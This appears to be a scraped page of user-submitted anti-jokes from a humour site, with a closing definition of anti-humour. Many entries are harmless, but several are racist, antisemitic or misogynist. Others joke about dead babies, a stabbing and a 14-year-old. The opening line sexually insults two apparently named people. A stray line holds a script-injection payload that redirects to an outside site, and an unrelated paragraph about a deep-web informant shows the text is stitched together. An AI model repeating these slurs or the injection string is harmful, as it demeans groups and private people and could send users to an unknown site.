How do you tell the difference between Lila and derrek ashmore? Oh wait they both have vaginas

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Q: What do you call a Jew in space? A: An astronaut you racist bastard!

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Why did the accountant die?A terrorist put a bomb under his desk.

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Why did the legless person roll down a hill? Because he was in a wheelchair

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Why did the black man cross the road? He was chasing the chicken

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What does 10 dead babies in a microwave look like? I dont know. I was too busy masturbating.

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Mom now that I am fourteen can I get a bra now? No Harold!

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No, but I am not just an author, the important thing is, that this kid has been stopped as we speak, as I said he was selling information to several clients on the deep web, and patterns do reveal that he was selling you out piece by piece while prepared to make a run for it once he delivered the vital details. Say, did you promote this guy a bit too fast or something? Either he knows as much as you do, or otherwise he has been learning the ins and outs of your little place pretty fast.

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Guess my favourite fruit. Peach.

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Why did the monkey fall out of the tree? It had a heart attack. Why did the baby fall out of the tree? It was stapled to the monkey

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Why do black guys have ashy elbows? Because of 9/11

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What did the red fish say to the blue fish? Nothing fish can't talk.

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Why does sammy have a cut on her arm? becuase her mom went to go stab her dad and missed

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Hook a finger from each hand in your mouth, now pull so your lips are tight and try to say "I was born on a pirate ship" I'm sorry, I can hardly understand you.

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"'>document.location.href="http://cramik.org"

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But there's a sound Dumbledore knows... What does the Fawkes say?

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Why couldn't the driver start his car? Because the driver was a tree

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In order to find a woman, you need time and money. Woman=Time&Money The longer you spend at work, the more money you get. Time=Money Money is the root of most problems in the world today. Money=Problems Therefore Women=Problems

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Two peanuts were walking down the street I stepped on them both

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An American, a Canadian, an Afro-American and a Jew walk in a bar. They all order their favorite drink and go look for potential partners with whom they'd wish to engage in sexual relationships.

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Roses are red, Violets are blue, Most poems rhyme, But this one doesn't.

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Jesus Christ

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A man took a crap. . . . It felt amazing

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Roses are gray, violets are blue; I'm red-green colorblind so I occasionally have difficulty seeing most shades of red or green.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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